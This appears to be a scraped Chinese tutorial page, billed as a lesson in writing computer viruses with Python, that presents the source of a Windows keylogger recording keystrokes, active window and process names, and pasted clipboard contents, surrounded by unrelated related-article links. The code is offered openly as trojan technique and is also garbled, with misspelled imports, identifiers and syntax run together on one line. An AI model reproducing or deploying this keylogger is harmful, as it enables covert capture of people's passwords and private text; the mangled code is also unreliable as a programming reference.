python编写计算机病毒教程(Python告诉你木马程序的键盘记录原理)
类别:脚本大全 浏览量:1800
时间:2022-04-01 01:28:11 python编写计算机病毒教程
Python告诉你木马程序的键盘记录原理前言
Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。
|
# -*- coding: utf-8 -*- from ctypes inport import pythoncom import pyHook import win32clipboard user32 = winddll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = Note def get_current_process(): #获取最上层的窗句柄 hwnd = user32.GetForegroundWindow() #获取进程ID pid = c_ulong( 0 ) user32. GetwindowThreadProcessId(hwnd,byref(pid)) #将进程ID存入变量中 process_ = "%d" % pid.value #申请内存 executable = create_string_buffer( "\x00" * 522 ) h_process = kernel32.OpenProcess( 0x400 | 0x10 , False ,pid) psapi.GetModuleBaseNameA(h_process, None ,byref(executable), 512 ) #读取窗口标题 windows_title = create_string_buffer( "\x00" , 512 ) length = user32.GetWindowTextA(hwnd,byref(windows.title), 512 ) #打印 print print "[PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value) print #关闭handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) #关闭键盘监听事件函数 def KeyStroke(event): global current_window #检测目标窗口是否转移(换了其他窗口就监听新窗口) if event,WindowName ! = current_window: current_window = event.WindowName #函数调用 get_current_process() #检测击键是否常规按键(非组合键等) if event.Ascii> 32 and enent .Ascii < 127 : print chr (event.Ascii), else : #如果发现ctrl + V事件,就粘贴板内容记录下来 if event.Key = = "V" win32clipboard.OpenClipdoard() pasted_value = win32clipdoard. GetClipdoardData() win32clipdoard.CloseClipboard() print "[PASTE]-%s" % (pasted_value), else : print "[%s]" % event.Key, 循环监听下一个事件 return True #创建并注册hook管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke #注册hook并兴趣 kl.hookKeyboard() pythoncom.PumpMessages() |
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对开心学习网的支持。如果你想了解更多相关内容请查看下面相关链接
原文链接:https://blog.csdn.net/qq_39363022/article/details/86709553
您可能感兴趣
- 微信公众号文章 爬虫(python抓取搜狗微信公众号文章)
- python如何解压加密zip文件(python读取有密码的zip压缩文件实例)
- python里list操作大全(Python列表List知识点总结)
- pythonhttp文件服务器(使用Python创建简单的HTTP服务器的方法步骤)
- python函数的参数有几种类型(在Python中居然可以定义两个同名参数的函数)
- python数据分析删除重复值(Python3实现从排序数组中删除重复项算法分析)
- python将txt数据写入excel(Python将列表数据写入文件txt, csv,excel)
- pythonexcel生成报表(python生成每日报表数据Excel并邮件发送的实例)
- python接口管理系统(基于Python实现用户管理系统)
- python怎么装opencv(Python基于opencv实现的简单画板功能示例)
- pythonlist列表讲解(Python中将两个或多个list合成一个list的方法小结)
- python 组合数据类型(详解Python3 对象组合zip和回退方式*zip)
- python列表怎么赋值(详解Python列表赋值复制深拷贝及5种浅拷贝)
- python socket 设置通信协议(详解python中TCP协议中的粘包问题)
- python八卦图(Python实现九宫格式的朋友圈功能内附“马云”朋友圈)
- python怎么给rsa加密(Python生成rsa密钥对操作示例)
- 《囧妈》为何受抵制 春节七部影片撤档背后的责任与博弈(囧妈为何受抵制)
- 提醒 2019年起河南驾考要开设科目五 官方回应来了(2019年起河南驾考要开设科目五)
- 省 市书法家协会 送万福进万家 活动走进禹州美丽乡村(省市书法家协会)
- 点赞 禹州苌庄正式撤乡建镇 未来发展不可估量(禹州苌庄正式撤乡建镇)
- 它荣获 中国生态魅力镇 称号 就在咱们禹州,一起来看看(中国生态魅力镇)
- 真牛 禹州将建成中等城市(禹州将建成中等城市)
热门推荐
- laravel框架保存数据(Laravel 数据库加密及数据库表前缀配置方法)
- sql语句中leftjoin的作用(sql中的left join及on、where条件关键字的区别详解)
- htop命令使用教程(.htaccess使用方法总结)
- php如何异步操作(php链式操作的实现方式分析)
- thinkphpmodel使用教程(Thinkphp5.0 框架Model模型简单用法分析)
- centos8配置python开发环境(CentOS6.9 Python环境配置python2.7、pip、virtualenv)
- 关闭ssl证书验证模块(开启OCSP提升https证书验证效率解决Let’s Encrypt SSL证书访问慢的问题)
- css继承属性有哪些(CSS特殊性、继承与层叠)
- docker中mysql连接命令(docker 如何修改mysql的root密码)
- python中的迭代器详解(Python通过for循环理解迭代器和生成器实例详解)
排行榜
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9